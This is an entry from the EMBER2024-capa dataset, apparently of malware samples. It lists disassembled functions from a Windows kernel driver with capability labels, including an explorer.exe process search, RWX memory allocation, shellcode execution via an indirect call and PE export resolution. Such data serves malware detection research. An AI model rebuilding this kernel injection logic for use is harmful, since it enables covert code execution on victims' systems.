joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404df0
Capabilities:
Get file attributes
Write file on windows

Disassembly:
sub esp, 0x48
push esi
push edi
push eax
lea ecx, [esp + 0x1c]
xor esi, esi
push ecx
mov dword [esp + 0x14], esi
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
push esi
push esi
push 0x860
push 1
push 1
push 0x80
push esi
lea eax, [esp + 0x2c]
push eax
lea ecx, [esp + 0x40]
lea edx, [esp + 0x38]
push ecx
mov dword [esp + 0x4c], edx
push 0xc0000004
lea edx, [esp + 0x34]
push edx
mov dword [esp + 0x4c], 0x18
mov dword [esp + 0x50], esi
mov dword [esp + 0x58], 0x240
mov dword [esp + 0x5c], esi
mov dword [esp + 0x60], esi
call dword [sym.imp.ntoskrnl.exe_ZwCreateFile]
test eax, eax
jge 0x404e64
xor eax, eax
pop edi
pop esi
add esp, 0x48
ret 4
mov edx, dword [esp + 0xc]
push 5
push 0x18
lea eax, [esp + 0x40]
push eax
lea ecx, [esp + 0x1c]
push ecx
push edx
call dword [sym.imp.ntoskrnl.exe_ZwQueryInformationFile]
mov ecx, dword [esp + 0x54]
push esi
lea eax, [esp + 0x44]
push eax
mov eax, dword [esp + 0x14]
push ebx
push ecx
lea edx, [esp + 0x20]
push edx
push esi
push esi
push esi
push eax
call dword [sym.imp.ntoskrnl.exe_ZwWriteFile]
mov edi, eax
mov eax, dword [esp + 0xc]
cmp eax, esi
je 0x404ead
push eax
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov eax, edi
neg eax
sbb eax, eax
not eax
pop edi
and eax, ebx
pop esi
add esp, 0x48
ret 4

Function at 0x404ec0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x38
push esi
push edi
xor esi, esi
push eax
lea ecx, [esp + 0x1c]
push ecx
mov dword [esp + 0x14], esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x18], esi
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
push 0x100
push esi
push esi
push esi
push esi
push 0x20
push 3
push 3
push esi
push esi
lea eax, [esp + 0x48]
push eax
lea ecx, [esp + 0x54]
lea edx, [esp + 0x44]
push ecx
mov dword [esp + 0x60], edx
push 0xc0000004
lea edx, [esp + 0x40]
push edx
mov dword [esp + 0x60], 0x18
mov dword [esp + 0x64], esi
mov dword [esp + 0x6c], 0x240
mov dword [esp + 0x70], esi
mov dword [esp + 0x74], esi
call dword [sym.imp.ntoskrnl.exe_IoCreateFile]
test eax, eax
jge 0x404f3c
xor eax, eax
pop edi
pop esi
add esp, 0x38
ret 4
mov ecx, dword [esp + 0x44]
push esi
lea eax, [esp + 0x14]
push eax
mov eax, dword [esp + 0x14]
push ebx
push ecx
lea edx, [esp + 0x30]
push edx
push esi
push esi
push esi
push eax
call dword [sym.imp.ntoskrnl.exe_ZwWriteFile]
mov edi, eax
mov eax, dword [esp + 0xc]
cmp eax, esi
je 0x404f6c
push eax
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov eax, edi
neg eax
sbb eax, eax
not eax
pop edi
and eax, ebx
pop esi
add esp, 0x38
ret 4
Function at 0x404f80
Capabilities:
Get file attributes
Read file on windows

Disassembly:
sub esp, 0x24c
push ebx
push ebp
mov ebp, dword [esp + 0x258]
xor ebx, ebx
push edi
mov edi, ecx
mov dword [esp + 0xc], ebx
cmp ebp, ebx
je 0x404f9f
mov dword [ebp], ebx
push edi
push eax
lea ecx, [esp + 0x58]
push ecx
call sub.ntoskrnl.exe_memcpy
mov eax, edi
cdq
sub eax, edx
sar eax, 1
xor edx, edx
add esp, 0xc
mov word [esp + eax*2 + 0x50], dx
lea eax, [esp + 0x50]
push eax
lea ecx, [esp + 0x34]
push ecx
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
push ebx
push ebx
push 0x860
push 1
push 1
push 0x80
push ebx
lea eax, [esp + 0x2c]
push eax
lea ecx, [esp + 0x38]
lea edx, [esp + 0x50]
push ecx
mov dword [esp + 0x44], edx
push 0x80000000
lea edx, [esp + 0x34]
push edx
mov dword [esp + 0x44], 0x18
mov dword [esp + 0x48], ebx
mov dword [esp + 0x50], 0x240
mov dword [esp + 0x54], ebx
mov dword [esp + 0x58], ebx
mov dword [esi], ebx
call dword [sym.imp.ntoskrnl.exe_ZwCreateFile]
test eax, eax
jl 0x405049
mov edx, dword [esp + 0xc]
push 5
push 0x18
lea eax, [esp + 0x40]
push eax
lea ecx, [esp + 0x1c]
push ecx
push edx
call dword [sym.imp.ntoskrnl.exe_ZwQueryInformationFile]
test eax, eax
je 0x405057
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ntoskrnl.exe_ZwClose]
xor eax, eax
pop edi
pop ebp
pop ebx
add esp, 0x24c
ret 4
mov eax, dword [esp + 0x40]
push 0x4d6c7431
push eax
push ebx
mov dword [ebp], eax
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov dword [esi], eax
cmp eax, ebx
je 0x405049
mov ecx, dword [esp + 0x40]
push ebx
push ebx
push ecx
push eax
mov eax, dword [esp + 0x1c]
lea edx, [esp + 0x20]
push edx
push ebx
push ebx
push ebx
push eax
call dword [sym.imp.ntoskrnl.exe_ZwReadFile]
mov edi, dword [sym.imp.ntoskrnl.exe_ZwClose]
test eax, eax
je 0x4050a9
mov ecx, dword [esp + 0xc]
push ecx
call edi
mov edx, dword [esi]
push ebx
push edx
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov dword [esi], ebx
mov eax, dword [esp + 0xc]
push eax
call edi
mov eax, dword [ebp]
pop edi
pop ebp
pop ebx
add esp, 0x24c
ret 4
Function at 0x4050c0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x38
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
push eax
lea ecx, [esp + 0x2c]
push ecx
xor ebp, ebp
xor esi, esi
call edi
mov edx, dword [esp + 0x4c]
push edx
lea eax, [esp + 0x24]
push eax
call edi
push ebp
push ebp
push ebp
push ebp
lea edx, [esp + 0x40]
push edx
push 0xf003f
lea eax, [esp + 0x30]
lea ecx, [esp + 0x40]
push eax
mov dword [esp + 0x4c], 0x18
mov dword [esp + 0x50], ebp
mov dword [esp + 0x58], 0x40
mov dword [esp + 0x54], ecx
mov dword [esp + 0x5c], ebp
mov dword [esp + 0x60], ebp
call dword [sym.imp.ntoskrnl.exe_ZwCreateKey]
mov eax, dword [esp + 0x18]
mov ebx, dword [sym.imp.ntoskrnl.exe_ZwQueryValueKey]
lea ecx, [esp + 0x14]
push ecx
push ebp
push ebp
push 2
lea edx, [esp + 0x30]
push edx
push eax
call ebx
mov edi, eax
cmp edi, 0xc0000023
jne 0x405191
mov ecx, dword [esp + 0x14]
push ecx
push 1
call dword [sym.imp.ntoskrnl.exe_ExAllocatePool]
mov esi, eax
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x14]
push edx
mov edx, dword [esp + 0x1c]
push eax
push esi
push 2
lea ecx, [esp + 0x30]
push ecx
push edx
call ebx
mov edi, eax
mov eax, dword [esi + 8]
cmp eax, dword [esp + 0x54]
ja 0x405191
mov ecx, dword [esp + 0x50]
push eax
lea eax, [esi + 0xc]
push eax
push ecx
call sub.ntoskrnl.exe_memcpy
mov ebx, dword [esi + 8]
add esp, 0xc
jmp 0x405193
mov ebx, ebp
mov eax, dword [esp + 0x18]
cmp eax, ebp
je 0x4051a2
push eax
call dword [sym.imp.ntoskrnl.exe_ZwClose]
cmp esi, ebp
je 0x4051ae
push ebp
push esi
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov eax, edi
neg eax
pop edi
sbb eax, eax
pop esi
not eax
pop ebp
and eax, ebx
pop ebx
add esp, 0x38
ret 0xc

Function at 0x405250
Capabilities:
Enumerate processes via ntquerysysteminformation
Get system information on windows

Disassembly:
push ecx
push ebx
push edi
lea eax, [esp + 8]
push eax
xor ebx, ebx
push ebx
push ebx
push 5
mov dword [esp + 0x18], ebx
call sub.ntoskrnl.exe_NtQuerySystemInformation
mov ecx, dword [esp + 8]
push 0x4d6c7431
push ecx
push ebx
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov edi, eax
test edi, edi
jne 0x405282
pop edi
pop ebx
pop ecx
ret
mov eax, dword [esp + 8]
lea edx, [esp + 8]
push edx
push eax
push edi
push 5
call sub.ntoskrnl.exe_NtQuerySystemInformation
test eax, eax
jne 0x405306
push esi
mov esi, edi
jmp 0x4052a0
cmp dword [esi + 0x44], ebx
je 0x4052ef
cmp word [esi + 0x38], bx
jbe 0x4052ef
mov ecx, dword [esi + 0x3c]
push ecx
call sub.ntoskrnl.exe__wcslwr
mov ecx, dword [esi + 0x3c]
add esp, 4
mov eax, str.explorer.exe
nop
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x4052e6
test dx, dx
je 0x4052e2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x4052e6
add eax, 4
add ecx, 4
test dx, dx
jne 0x4052c0
xor eax, eax
jmp 0x4052eb
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4052f9
mov eax, dword [esi]
test eax, eax
je 0x4052fc
add esi, eax
jmp 0x4052a0
mov ebx, dword [esi + 0x44]
push 0
push edi
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
pop esi
pop edi
mov eax, ebx
pop ebx
pop ecx
ret
Function at 0x405ec0
Capabilities:
Create thread

Disassembly:
push ebp
push esi
mov esi, dword [0x410078]
lea eax, [esi + 0x40]
xor ecx, ecx
mov dword [eax], ecx
push edi
mov dword [eax + 4], ecx
mov dword [eax + 8], ecx
push eax
mov dword [eax + 0xc], ecx
call fcn.00409790
test byte [esi + 0x2c], 2
jne 0x405f1a
lea edi, [esi + 8]
push edi
push 0x406490
push 0
push 0
push 0
push 0
lea ebp, [edi + 0xc]
push ebp
call dword [sym.imp.ntoskrnl.exe_PsCreateSystemThread]
test eax, eax
jne 0x405f26
push eax
add edi, 0x10
push edi
push eax
push eax
push eax
mov eax, dword [ebp]
push eax
call dword [sym.imp.ntoskrnl.exe_ObReferenceObjectByHandle]
or dword [esi + 0x2c], 2
mov eax, dword [esi + 0x2c]
shr eax, 1
and eax, 1
pop edi
pop esi
pop ebp
ret
and dword [esi + 0x2c], 0xfffffffd
pop edi
pop esi
xor eax, eax
pop ebp
ret

Function at 0x406520
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub esp, 0x20
inc dword [0x410664]
push ebx
push ebp
push edi
push 0x40
push 0x1000
mov edi, eax
xor ebx, ebx
lea eax, [esp + 0x14]
push eax
push ebx
push 0x410660
mov dword [esi + 0x28], ebx
mov dword [esi + 0x20], ebx
push edi
mov dword [esp + 0x24], 0x1000
mov dword [0x410660], ebx
call sub.ntoskrnl.exe_ZwAllocateVirtualMemory
mov ebp, dword [0x410660]
mov eax, dword [0x410670]
mov dword [0x410664], ebx
mov dword [0x410090], ebp
mov dword [esi + 0x24], edi
mov dword [esp + 0x10], ebx
cmp eax, ebx
je 0x406598
lea ecx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x34]
push 0x15
lea edx, [esp + 0x1c]
push edx
push ecx
push edi
call eax
mov ebp, dword [0x410090]
lea ebx, [esp + 0x14]
call fcn.00404a80
mov ebx, dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
push 0x4d6c7431
mov edi, eax
push 0x14
lea edx, [edi + ebp + 0xa]
push 0
mov dword [esi + 0xc], ebp
mov dword [0x410090], edx
call ebx
push 0x4d6c7431
push 0x14
push 0
mov dword [esi + 0x10], eax
call ebx
mov ecx, dword [esp + 0x34]
mov dword [esi + 0x14], eax
mov eax, dword [esp + 0x30]
push esi
mov dword [esi + 4], eax
mov dword [esi + 8], ecx
mov dword [esi + 0x18], edi
call fcn.004066c0
pop edi
pop ebp
mov eax, esi
pop ebx
add esp, 0x20
ret 8
Function at 0x406820
Capabilities:
Complete processing asynchronous io request

Disassembly:
sub esp, 0x28
push esi
push 0
push 0
lea eax, [esp + 0x20]
push eax
mov dword [esp + 0x14], 0xfa0a1f00
mov dword [esp + 0x18], 0xffffffff
call dword [sym.imp.ntoskrnl.exe_KeInitializeEvent]
mov eax, dword [edi + 0x18]
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x1c]
push edx
push 1
push 0
push 0
push 0
push 0
push eax
push 3
call dword [sym.imp.ntoskrnl.exe_IoBuildDeviceIoControlRequest]
mov esi, eax
test esi, esi
je 0x406904
mov eax, dword [esi + 0x60]
mov dword [eax - 8], 0
mov dword [eax - 4], 0
mov byte [eax - 0x21], 0
sub eax, 0x24
mov eax, dword [esi + 0x60]
sub eax, 0x24
mov byte [eax], 0xf
mov byte [eax + 1], 0xb
mov ecx, dword [edi + 0x18]
mov dword [eax + 0x14], ecx
mov edx, dword [edi + 0x14]
mov dword [eax + 0x18], edx
mov dword [eax + 4], 4
mov dword [eax + 8], 0x406920
mov dword [eax + 0xc], edi
mov eax, dword [esi + 0x60]
sub eax, 0x24
lea ecx, [esp + 0x18]
mov dword [eax + 0x1c], 0x406800
mov dword [eax + 0x20], ecx
mov byte [eax + 3], pe_nt_image_headers32
mov ecx, dword [edi + 0x18]
mov edx, esi
call dword [sym.imp.ntoskrnl.exe_IofCallDriver]
cmp eax, 0x103
jne 0x4068ef
lea edx, [esp + 8]
push edx
push 0
push 0
push 0
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.ntoskrnl.exe_KeWaitForSingleObject]
test eax, eax
je 0x40690e
cmp eax, 0x103
je 0x40690e
xor dl, dl
mov ecx, esi
call dword [sym.imp.ntoskrnl.exe_IofCompleteRequest]
mov eax, 0xc0000001
pop esi
add esp, 0x28
ret
xor dl, dl
mov ecx, esi
call dword [sym.imp.ntoskrnl.exe_IofCompleteRequest]
xor eax, eax
pop esi
add esp, 0x28
ret
Function at 0x406e10
Capabilities:
Complete processing asynchronous io request

Disassembly:
mov eax, dword [edi]
push ebx
push ebp
mov ebp, dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
push esi
test eax, eax
je 0x406e24
push 0
push eax
call ebp
mov ecx, dword [edi + 0x14]
mov esi, dword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
call esi
mov ecx, dword [edi + 0x18]
call esi
mov ecx, dword [edi + 0xc]
test ecx, ecx
je 0x406e43
xor dl, dl
call dword [sym.imp.ntoskrnl.exe_IofCompleteRequest]
mov eax, dword [edi + 0x20]
push eax
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 1
call fcn.004051d0
lea esi, [edi + 0x40]
cmp dword [esi], esi
je 0x406e86
lea ebx, [edi + 0x48]
lea ebx, [ebx]
push 0x53556470
mov edx, ebx
mov ecx, esi
call dword [sym.imp.ntoskrnl.exe_ExfInterlockedRemoveHeadList]
push eax
call ebp
cmp dword [esi], esi
jne 0x406e70
push 0x53556470
push edi
call ebp
pop esi
pop ebp
mov eax, 1
pop ebx
ret
Function at 0x407810
Capabilities:
Allocate or change rwx memory

Disassembly:
sub esp, 0x18
mov edx, dword [esp + 0x1c]
push ebx
push ebp
push esi
push edi
push 0x40
push 0x1000
lea eax, [esp + 0x28]
push eax
xor esi, esi
push esi
lea ecx, [esp + 0x20]
push ecx
xor edi, edi
mov ebp, 0x40b120
push edx
mov dword [esp + 0x28], esi
mov dword [esp + 0x34], esi
mov dword [esp + 0x38], 0x1000
mov dword [esp + 0x2c], edi
xor ebx, ebx
sub ebp, section..text1
call sub.ntoskrnl.exe_ZwAllocateVirtualMemory
test eax, eax
je 0x407868
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret 8
mov eax, dword [esp + 0x30]
cmp eax, esi
je 0x407893
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, si
jne 0x407873
mov ecx, dword [esp + 0x10]
sub eax, edx
sar eax, 1
lea eax, [eax + eax + 2]
mov dword [esp + 0x14], eax
lea ebx, [ecx + ebp]
mov edi, eax
push 0x4d6c7431
push 0x2c
push esi
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov ecx, eax
cmp ecx, esi
je 0x4078c3
mov edx, dword [esp + 0x10]
mov eax, dword [0x40f340]
push edx
push eax
mov eax, dword [esp + 0x34]
mov esi, ecx
call fcn.00406520
mov dword [esp + 0x18], eax
jmp 0x4078c7
mov dword [esp + 0x18], esi
mov ecx, dword [esp + 0x18]
mov ecx, dword [ecx + 0x18]
mov esi, dword [esp + 0x10]
lea eax, [ecx + ebp]
add eax, edi
add eax, esi
test al, 3
je 0x4078e5
lea ecx, [ecx]
inc eax
test al, 3
jne 0x4078e0
lea edx, [edi + ebp]
push eax
mov dword [esp + 0x28], edx
add edx, esi
push edx
mov edx, dword [0x40f340]
push ecx
push edx
push ebx
mov ebx, dword [0x40f5c8]
xor edi, edi
mov ecx, ebp
call fcn.004076c0
mov edi, dword [esp + 0x10]
mov ebx, dword [esp + 0x2c]
lea eax, [esp + 0x1c]
push eax
push section..text1
mov esi, ebp
call fcn.00407610
test eax, eax
je 0x40785c
mov esi, dword [esp + 0x14]
test esi, esi
je 0x40794f
mov edx, dword [esp + 0x30]
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x1c]
push ecx
push edx
lea edi, [eax + ebp]
call fcn.00407610
test eax, eax
je 0x40785c
mov ebp, dword [esp + 0x18]
mov eax, dword [ebp + 0x10]
mov edx, dword [esp + 0x10]
mov esi, dword [ebp + 0x18]
mov ebx, dword [esp + 0x2c]
lea ecx, [esp + 0x1c]
push ecx
push eax
mov eax, dword [esp + 0x2c]
lea edi, [eax + edx]
call fcn.00407610
test eax, eax
je 0x40785c
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 4]
mov edx, ebp
call fcn.00406600
pop edi
neg eax
pop esi
sbb eax, eax
pop ebp
inc eax
pop ebx
add esp, 0x18
ret 8

Function at 0x408590
Capabilities:
Hash data with md5

Disassembly:
sub esp, 0x5c
xor eax, eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x60]
push esi
push eax
mov eax, dword [esp + 0x6c]
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], 0x67452301
mov dword [esp + 0x10], 0xefcdab89
mov dword [esp + 0x14], 0x98badcfe
mov dword [esp + 0x18], 0x10325476
call fcn.00407d30
mov ecx, dword [esp + 0x6c]
push ecx
lea esi, [esp + 0xc]
call fcn.00407df0
pop esi
add esp, 0x5c
ret 0xc
Function at 0x408810
Capabilities:
Parse pe header

Disassembly:
cmp esi, 0x40
jae 0x408818
xor eax, eax
ret
mov ecx, 0x5a4d
mov dword [edx + 0x18], eax
cmp word [eax], cx
jne 0x408815
mov ecx, dword [eax + 0x3c]
push edi
lea edi, [ecx + 0xf8]
cmp esi, edi
jb 0x408896
add eax, ecx
mov dword [edx + 0x1c], eax
cmp dword [eax], 0x4550
jne 0x408896
movzx ecx, word [eax + 0x16]
test ecx, 0x2000
je 0x408896
test cl, 2
je 0x408896
mov ecx, pe_nt_image_headers32
cmp word [eax + 0x14], cx
jne 0x408896
mov edi, dword [edx + 0x1c]
push ebx
lea ecx, [eax + 0xf8]
xor ebx, ebx
mov dword [edx + 0x20], ecx
xor eax, eax
cmp bx, word [edi + 6]
pop ebx
jae 0x40888f
add ecx, 0x10
mov edi, dword [ecx + 4]
add edi, dword [ecx]
cmp edi, esi
ja 0x408896
mov edi, dword [edx + 0x1c]
movzx edi, word [edi + 6]
inc eax
add ecx, 0x28
cmp eax, edi
jl 0x408877
mov eax, 1
pop edi
ret
xor eax, eax
pop edi
ret

Function at 0x408920
Capabilities:
Enumerate pe sections

Disassembly:
mov eax, dword [esi + 0x1c]
movzx ecx, word [eax + 6]
mov edx, dword [eax + 0x54]
push ebx
lea ecx, [ecx + ecx*4]
push ebp
mov ebp, dword [esp + 0xc]
lea eax, [edx + ecx*8]
mov ecx, dword [esp + 0x10]
push eax
push ecx
push ebp
call sub.ntoskrnl.exe_memcpy
mov edx, dword [esi + 0x1c]
xor eax, eax
add esp, 0xc
xor ebx, ebx
cmp ax, word [edx + 6]
jae 0x40898d
push edi
xor edi, edi
mov ecx, dword [esi + 0x20]
lea eax, [ecx + edi]
mov ecx, dword [eax + 0xc]
test ecx, ecx
je 0x40897d
mov edx, dword [eax + 0x10]
test edx, edx
je 0x40897d
push edx
mov edx, dword [eax + 0x14]
add edx, dword [esp + 0x18]
add ecx, ebp
push edx
push ecx
call sub.ntoskrnl.exe_memcpy
add esp, 0xc
mov eax, dword [esi + 0x1c]
movzx ecx, word [eax + 6]
inc ebx
add edi, 0x28
cmp ebx, ecx
jl 0x408955
pop edi
mov dword [esi + 0x18], ebp
mov edx, dword [ebp + 0x3c]
lea eax, [edx + ebp]
mov dword [esi + 0x1c], eax
add eax, 0xf8
pop ebp
mov dword [esi + 0x20], eax
pop ebx
ret 8
Function at 0x408e70
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0xc
push ebx
mov ebx, eax
test ecx, ecx
jne 0x408e81
xor eax, eax
pop ebx
add esp, 0xc
ret
mov eax, dword [ecx + 0x3c]
add eax, ecx
mov eax, dword [eax + 0x78]
test eax, eax
je 0x408e7a
mov edx, dword [eax + ecx + 0x18]
push ebp
mov ebp, dword [eax + ecx + 0x1c]
push esi
mov esi, dword [eax + ecx + 0x24]
push edi
mov edi, dword [eax + ecx + 0x20]
add ebp, ecx
add esi, ecx
add edi, ecx
mov dword [esp + 0x10], edx
mov edx, dword [eax + ecx + 0x10]
mov dword [esp + 0x18], ebp
mov dword [esp + 0x14], esi
test ebx, 0xffff0000
jne 0x408ede
cmp ebx, edx
jb 0x408f20
mov eax, dword [eax + ecx + 0x14]
lea eax, [eax + edx - 1]
cmp ebx, eax
ja 0x408f20
pop edi
sub ebx, edx
mov eax, dword [ebp + ebx*4]
pop esi
pop ebp
add eax, ecx
pop ebx
add esp, 0xc
ret
xor ebp, ebp
cmp dword [esp + 0x10], ebp
jle 0x408f20
mov eax, dword [edi + ebp*4]
add eax, ecx
mov esi, ebx
lea ecx, [ecx]
mov dl, byte [esi]
cmp dl, byte [eax]
jne 0x408f10
test dl, dl
je 0x408f0c
mov dl, byte [esi + 1]
cmp dl, byte [eax + 1]
jne 0x408f10
add esi, 2
add eax, 2
test dl, dl
jne 0x408ef0
xor eax, eax
jmp 0x408f15
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x408f2a
inc ebp
cmp ebp, dword [esp + 0x10]
jl 0x408ee6
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc
ret
mov edx, dword [esp + 0x14]
movzx eax, word [edx + ebp*2]
mov edx, dword [esp + 0x18]
mov eax, dword [edx + eax*4]
pop edi
pop esi
pop ebp
add eax, ecx
pop ebx
add esp, 0xc
ret
Function at 0x408f50
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
sub esp, 0x34
push ebx
push ebp
mov ebp, dword [esp + 0x40]
push esi
push edi
test ebp, ebp
je 0x408f7e
lea edx, [esp + 0x10]
mov eax, ebp
sub edx, ebp
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x408f67
lea eax, [esp + 0x10]
push eax
call sub.ntoskrnl.exe__strupr
add esp, 4
mov eax, dword [0x410f6c]
mov dword [esp + 0x48], 0
test eax, eax
jne 0x408fe5
mov esi, dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov edi, dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
jmp 0x408fa0
lea ecx, [esp + 0x48]
push ecx
push 0
push 0
push 0xb
call sub.ntoskrnl.exe_NtQuerySystemInformation
mov edx, dword [esp + 0x48]
push 0x4d6c7431
push edx
push 0
call esi
mov edx, dword [esp + 0x48]
lea ecx, [esp + 0x48]
push ecx
push edx
push eax
push 0xb
mov dword [0x410f6c], eax
call sub.ntoskrnl.exe_NtQuerySystemInformation
test eax, eax
mov eax, dword [0x410f6c]
je 0x408fe5
push 0
push eax
call edi
jmp 0x408fa0
mov ebx, eax
test ebp, ebp
jne 0x408ffc
cmp dword [eax], ebp
jbe 0x409060
mov eax, dword [eax + 0xc]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x34
ret 4
xor ebp, ebp
cmp dword [eax], ebp
jbe 0x409060
xor esi, esi
lea edi, [eax + 0x1e]
movzx ecx, word [edi]
add ecx, esi
lea edx, [ecx + ebx + 0x20]
push edx
call sub.ntoskrnl.exe__strupr
movzx eax, word [edi]
add esp, 4
add eax, esi
lea ecx, [esp + 0x10]
lea eax, [eax + ebx + 0x20]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x409046
test dl, dl
je 0x409042
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x409046
add eax, 2
add ecx, 2
test dl, dl
jne 0x409026
xor eax, eax
jmp 0x40904b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x40906c
inc ebp
add esi, 0x11c
add edi, 0x11c
cmp ebp, dword [ebx]
jb 0x409007
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x34
ret 4
imul ebp, ebp, 0x11c
mov eax, dword [ebx + ebp + 0xc]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x34
ret 4
Function at 0x409680
Capabilities:
Parse pe header

Disassembly:
cmp esi, 0x40
jae 0x409688
xor eax, eax
ret
mov ecx, 0x5a4d
mov dword [edx + 0x14], eax
cmp word [eax], cx
jne 0x409685
mov ecx, dword [eax + 0x3c]
push edi
lea edi, [ecx + 0xf8]
cmp esi, edi
jb 0x409707
add eax, ecx
mov dword [edx + 0x18], eax
cmp dword [eax], 0x4550
jne 0x409707
cmp word [eax + 0x5c], 1
jne 0x409707
mov ecx, 0x14c
cmp word [eax + 4], cx
jne 0x409707
mov ecx, pe_nt_image_headers32
cmp word [eax + 0x14], cx
jne 0x409707
mov edi, dword [edx + 0x18]
push ebx
lea ecx, [eax + 0xf8]
xor ebx, ebx
mov dword [edx + 0x1c], ecx
xor eax, eax
cmp bx, word [edi + 6]
pop ebx
jae 0x409700
add ecx, 0x10
mov edi, dword [ecx + 4]
add edi, dword [ecx]
cmp edi, esi
ja 0x409707
mov edi, dword [edx + 0x18]
movzx edi, word [edi + 6]
inc eax
add ecx, 0x28
cmp eax, edi
jl 0x4096e8
mov eax, 1
pop edi
ret
xor eax, eax
pop edi
ret